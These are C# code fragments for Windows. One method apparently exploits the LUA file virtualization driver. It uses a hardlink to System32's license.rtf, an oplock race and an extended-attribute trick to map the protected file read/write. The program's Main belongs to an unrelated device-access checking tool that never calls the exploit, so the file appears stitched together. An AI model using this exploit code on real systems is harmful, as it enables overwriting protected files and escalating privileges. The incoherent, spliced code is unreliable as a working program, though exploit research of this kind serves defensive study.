private static EaBuffer CreateDummyEaBuffer() { EaBuffer ea = new EaBuffer(); ea.AddEntry("GARBAGE", new byte[16], EaBufferEntryFlags.NeedEa); return(ea); }
static NtSection RemapFileAsRW() { string base_path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData), "luafv_" + Guid.NewGuid()); Console.WriteLine("Base Path: {0}", base_path); DirectorySecurity dir_sd = new DirectorySecurity(); Directory.CreateDirectory(base_path); string target_path = NtFileUtils.DosFileNameToNt(Path.Combine(base_path, "dummy.txt")); string license_file = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "license.rtf"); Console.WriteLine("Trying to map {0} R/W", license_file); NtFile.CreateHardlink(NtFileUtils.DosFileNameToNt(license_file), target_path); using (var oplock_file = NtFile.Open(target_path, null, FileAccessRights.ReadAttributes, FileShareMode.All, FileOpenOptions.NonDirectoryFile)) { var oplock = oplock_file.RequestOplockAsync(OplockLevelCache.Read | OplockLevelCache.Write, RequestOplockInputFlag.Request); Console.WriteLine("Started oplock"); SetVirtualization(true); Console.WriteLine("Opening file"); using (var file = NtFile.Open(target_path, null, FileAccessRights.GenericRead | FileAccessRights.GenericWrite, FileShareMode.All, FileOpenOptions.NonDirectoryFile | FileOpenOptions.CompleteIfOplocked)) { SetVirtualization(false); Console.WriteLine("{0} {1}", NtProcess.Current.ProcessId, file.Handle.DangerousGetHandle()); Console.WriteLine("{0} {1}", file.FullPath, file.GrantedAccess); CreateVirtualStoreFile(target_path, GetDummyBuffer()); var async_read = file.ReadAsync(1, 0); if (!oplock.Wait(10000)) { throw new Exception("Oplock Timed Out"); } Console.WriteLine("Oplock Fired"); EaBuffer ea = new EaBuffer(); ea.AddEntry("Hello", new byte[16], EaBufferEntryFlags.None); // Set EA to force the delayed virtualization to complete without triggering oplock. Console.WriteLine("Setting EA"); file.SetEa(ea); Console.WriteLine("File now {0}", file.FullPath); oplock_file.Close(); Console.WriteLine("Closed oplock_file"); if (!async_read.Wait(10000)) { throw new Exception("Async Read Timed Out"); } Console.WriteLine("Read Complete"); return NtSection.Create(null, SectionAccessRights.MaximumAllowed, null, MemoryAllocationProtect.ReadWrite, SectionAttributes.Commit, file); } } }
static void Main(string[] args) { bool show_help = false; bool map_to_symlink = false; bool readable = false; bool ea_buffer = false; string suffix = "XYZ"; string namelist = null; _pid = Process.GetCurrentProcess().Id; try { OptionSet opts = new OptionSet() { { "r", "Recursive tree directory listing", v => _recursive = v != null }, { "l", "Try and map device names to a symlink", v => map_to_symlink = v != null }, { "p|pid=", "Specify a PID of a process to impersonate when checking", v => _pid = int.Parse(v.Trim()) }, { "suffix=", "Specify the suffix for the namespace search", v => suffix = v }, { "namelist=", "Specify a text file with a list of names", v => namelist = v }, { "ea", "Try and show only devices with accept an EA buffer", v => ea_buffer = v != null }, { "e", "Display errors when trying devices, ignores Access Denied", v => _show_errors = v != null }, { "i", "Use an identify level token when impersonating", v => _identify_only = v != null }, { "d", "Try opening devices as directories rather than files", v => _open_as_dir = v != null }, { "f", "Filter out devices which could be opened direct and via namespace", v => _filter_direct = v != null }, { "readonly", "Show devices which can be opened for read access instead of write", v => readable = v != null }, { "h|help", "show this message and exit", v => show_help = v != null }, }; List <string> names = opts.Parse(args); if (namelist != null) { names.AddRange(File.ReadAllLines(namelist)); } if (names.Count == 0 || show_help) { ShowHelp(opts); } else { List <string> device_objs; if (_recursive) { device_objs = FindDeviceObjects(names); } else { device_objs = names; } if (device_objs.Count > 0) { EaBuffer ea = null; if (ea_buffer) { ea = new EaBuffer(); ea.AddEntry("GARBAGE", new byte[16], EaBufferEntryFlags.NeedEa); } IEnumerable <CheckResult> write_normal = device_objs.Select(n => CheckDevice(n, !readable, ea)); IEnumerable <CheckResult> write_namespace = device_objs.Select(n => CheckDevice(n + "\\" + suffix, !readable, ea)); Dictionary <string, string> symlinks = FindSymlinks(); if (ea_buffer) { _show_errors = true; write_normal = write_normal.Where(e => e.Status == NtStatus.STATUS_INVALID_PARAMETER); write_namespace = write_namespace.Where(e => e.Status == NtStatus.STATUS_INVALID_PARAMETER); } if (_filter_direct) { Console.WriteLine("Namespace Only"); HashSet <string> normal = new HashSet <string>(write_normal.Where(r => r.Status.IsSuccess()).Select(r => r.Path), StringComparer.OrdinalIgnoreCase); DumpList(write_namespace.Where(r => !normal.Contains(r.Path)), map_to_symlink, symlinks); } else { Console.WriteLine("{0} Access", readable ? "Read" : "Write"); DumpList(write_normal, map_to_symlink, symlinks); Console.WriteLine(); Console.WriteLine("{0} Access with Namespace", readable ? "Read" : "Write"); DumpList(write_namespace, map_to_symlink, symlinks); } } else { Console.WriteLine("No device names specified"); } } } catch (Exception ex) { Console.WriteLine(ex.Message); } }